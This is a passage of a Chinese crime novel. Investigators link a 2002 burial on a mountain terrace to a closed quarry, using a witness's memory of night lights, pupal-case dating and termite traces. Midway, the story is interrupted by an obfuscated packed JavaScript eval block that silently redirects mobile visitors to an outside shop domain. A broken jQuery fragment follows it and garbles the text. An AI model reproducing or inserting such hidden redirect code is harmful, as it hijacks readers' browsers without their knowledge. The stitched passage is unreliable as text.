纪荀放下筷子,问:“半夜亮灯?那老人还能回忆起更多信息吗?”
大刘点点头,从兜里掏出笔记,把笔记本翻开,说:“老人姓王,今年六十九,当年在采石场干过碎石工。他说大概是二零零二年深秋,那是采石场停工之后没多久的事,有天夜里他起来解手,看见山上有一团黄光,他原以后是鬼火,但后来发现不是。可是隔了大概半个月,又看见两三次。后来就再没见过。”
林墨放下筷子,望向大刘,问:“他为什么记得这么清楚?”
“我也问了。”大刘说,“老人说那年秋天他老伴刚过世,他一个人睡不着,就天天半夜坐在院子里抽烟。他说那光的位置大概在半山腰偏西,和我们现在发现的台地位置基本吻合。”
纪荀把碗推到一边,从大刘手里接过笔记本。
笔记本上记着老人的原话:“那个光像是黄光,比马灯亮些,在那里基本不动,大概持续了一顿饭的功夫就灭了。前后见了三次,后来山上的树长密了就再没见着。”
“一顿饭的功夫。”纪荀把这个时间记在心里,“大概十五到二十分钟。这个时间够做什么?不够挖坑,也不够埋尸,但够——”
“够检查。”林墨接过话,“够他把封顶的石头搬开,看看里面的情况,再重新盖上。”
纪荀的脑子里立刻出现一幅画面:一个男人,提着马灯,在深夜里走四十分钟的山路,独自爬到半山腰的台地上。然后他搬开石头,看着坑底的东西,然后他把一切恢复原状,再走四十分钟山路下山。
“这不符合常规的犯罪心理。”纪荀转身说,“埋尸之后,正常的凶手会尽量避免返回现场。因为每一次返回都意味着被发现的危险。那么能让凶手反复回去的原因,一定足够强大。”
林墨靠在椅背上:“恐惧?怕尸体被发现?”
“如果是恐惧,他不会待上一顿饭的功夫。恐惧会让人手忙脚乱,他会急着检查封土有没有被破坏、周围有没有人来过的痕迹。这种事五分钟就能做完,用不了十五分钟。”纪荀重新坐下,“他会待那么久,是因为他在那里有别的事要做。”
大刘看看纪荀,又看看林墨,没敢插话。
林墨先开口:“你在想那颗扣子。”
“对。扣子是在坑底最下层发现的。如果他只是掀开封顶石看一眼,扣子不可能掉到最下面。他一定是把封石全部搬开,把碎石层也清掉了一部分,整个人下到坑底,才有可能在那个位置留下扣子。”纪荀的语速不快,“这说明他返回现场不只是看,他在做某种比看更深入的事。”
“什么事?”
“目前还不知道。”纪荀说,“但从明天开始,我们要在台地周边的树林里找一样东西。”
大刘问:“什么东西?”
“烟头、火柴,或者是烧过的炭屑。”纪荀说,“一个人在深夜里独自上山,面对一具被自己分尸埋葬的尸体,在坑边待上十五到二十分钟。他会做什么?抽烟是最可能的。如果他抽了烟,烟头或者火柴杆就可能被扔在现场附近。二十年过去了,纸和烟草早烂光了,但烟头的过滤嘴是醋酸纤维做的,降解周期在五十年以上。只要过滤嘴还在,就能提取DNA。”
大刘把这条记了下来。
纪荀继续说:“还有一件事。王姓老人看到的光是黄光,马灯的燃料是煤油,燃烧时火焰偏黄。但马灯有玻璃罩,打出来的光应该是白的。如果光是黄的,说明光源没有玻璃罩,或者玻璃被烟熏了。那是火把的可能性更大,或者是自制的油灯。”
林墨接道:“火把燃烧时间短,亮上一顿饭的功夫不太可能。”
“那就是油灯。”纪荀说,“没有玻璃罩的简易油灯,可能是用罐头瓶或者小铁盒做的。这种东西在九十年代的农村很常见。如果能找到油灯残留物,比如烧过的灯芯、熔化的蜡或者油渍,就能进一步确认这个人的行为模式。”
他话音刚落,苏棠的电话打了过来,让他们回会议室,说是有些重要情况。
几人刚到会议室,苏棠便端着一台笔记本电脑走进来,神色有些紧张。
“纪队,张文峰老师那边有初步结果了。”
纪荀和林墨同时站起来。
苏棠把电脑放在桌上,打开邮件界面,屏幕上是张文峰发来的初检报告。苏棠一边滚动页面一边说:“土壤分层取样一共做了六层,每层五厘米。最上面三层是近十年的腐殖质堆积,中间两层对应的是案发前后五年的土层,最下面一层是基岩风化层。蛹壳全部集中在中间两层,丽蝇科和金蝇科的蛹壳混在一起,数量比例是二比一。”
“二比一。”林墨重复了一遍,“这是典型的温带秋季演替比例。夏季丽蝇和金蝇的比例是反过来的,冬季只有丽蝇能存活。”
“对。”苏棠翻到报告的结论部分,“张老师根据蛹壳的硬化程度和眼点的发育阶段判断,第一波昆虫侵入发生在遗体腐败的早期,大概在死后二十四到四十八小时内。结合这个演替比例,他推定的死亡时间是——”
她停下来,看了纪荀一眼。
“说吧。”纪荀说。
“二零零二年十月上旬到十一月中旬。精确到旬的话,是十月中旬的可能性最大。”
会议室里安静下来。
这个时间,距离凤凰山采石场停工不到两个月。王老头看到的山上的亮光,也是在那年秋天。
林墨低声说了一句:“采石场。”
纪荀点头。二零零二年采石场停工之后,工人都散了,进山的人大幅减少,山里变得冷清。
凶手选择在那个时间段上山埋尸,符合他对隐蔽性的需求。但反过来想,他能选择这个时间,说明他对采石场的运作状况非常清楚。他知道采石场什么时候停工,知道山上什么时候没人。
这个人很可能和采石场有关系。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742200|209124||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“大刘。”纪荀说,“明天开始走访凤凰山周边所有村子,重点查二零零二年在采石场干过活的人。凡是当年二十二岁到五十岁之间的男性,全部登记造册。采石场的负责人、工头、爆破手、碎石工、运输司机,一个都不能漏。”
大刘应了一声,又问:“已经过世或者搬走的呢?”
“过世的标记出来,搬走的查去向。同时联系市局户籍科,调取凤凰山周边五个村从一九九五年到二零零五年的全部户籍变动记录。”纪荀的语气不容置疑,“另外,把失踪人员的比对范围也框在这个时间段。二零零二年十月前后,凤凰山周边五十公里范围内,凡是有成年男性失踪报案的,全部调出来。”
苏棠记下了这些指令,又滑动鼠标翻到报告的下一页:“张老师还发现一个异常情况。”
“什么?”
“在中间两层的土壤样品里,除了嗜尸性昆虫的蛹壳之外,还有大量白蚁的排泄物和翅鳞。白蚁不是嗜尸昆虫,它们不吃尸体,但它们吃木头。张老师认为,这些白蚁痕迹说明埋尸的坑里或者坑边曾经有大量的木质材料存在,而且存在的时间足够长,长到能让白蚁建立一个取食通道。”
纪荀皱起了眉头。
坑里有木质材料,可坑底碎石层和沙土层交错铺设,没有用到木头。封顶的石块下面也没有任何木质垫层。
那木头从哪里来?是装在坑里和尸体一起埋下去的?还是埋在附近?
“也可能是存放尸体的木箱或木板。”林墨说,“如果凶手在埋尸之前把尸体装进木箱,或者用木板包裹,后来木头腐烂了,白蚁就顺着腐木的气味过来。”
苏棠补充道:“张老师说,白蚁翅鳞的数量很多,不像是一小块木头能引来的。他估计当时的木质材料,体积至少在零点三立方米以上。”
纪荀在脑子里换算了一下。零点三立方米,大概是一个长一米、宽半米、高六十公分的木箱。这个尺寸刚好能装下一个成年男性的躯干部分。
但问题是,坑底的空间有限,如果木箱体积有这么大,放不下。
“要么箱子比坑大,埋的时候拆开分开放。要么箱子不在坑里,在坑外。”
林墨想了想:“或者根本就没有箱子,是一段树干。”
纪荀看向他。
“凤凰山多松树和栎树,山腰以上有不少枯死的树干。如果凶手在山里找了一段空心树干,把尸块装进去,两端用碎石封堵——”
“那就解释得通了。”纪荀说,“白蚁不吃石头,但空心树干埋在坑边的话,白蚁会把树干的纤维全部吃掉,只留下排泄物和翅鳞。二十年下来,树干可能已经彻底分解了,但土壤里的白蚁痕迹会一直留在那里。”
他重新站起来,走了几步,思考这几日的情况。台地的勘查已经做了两次,坑底的沙土被分层提取,周边五米的范围内也做了物证搜索,但没人专门去注意白蚁痕迹。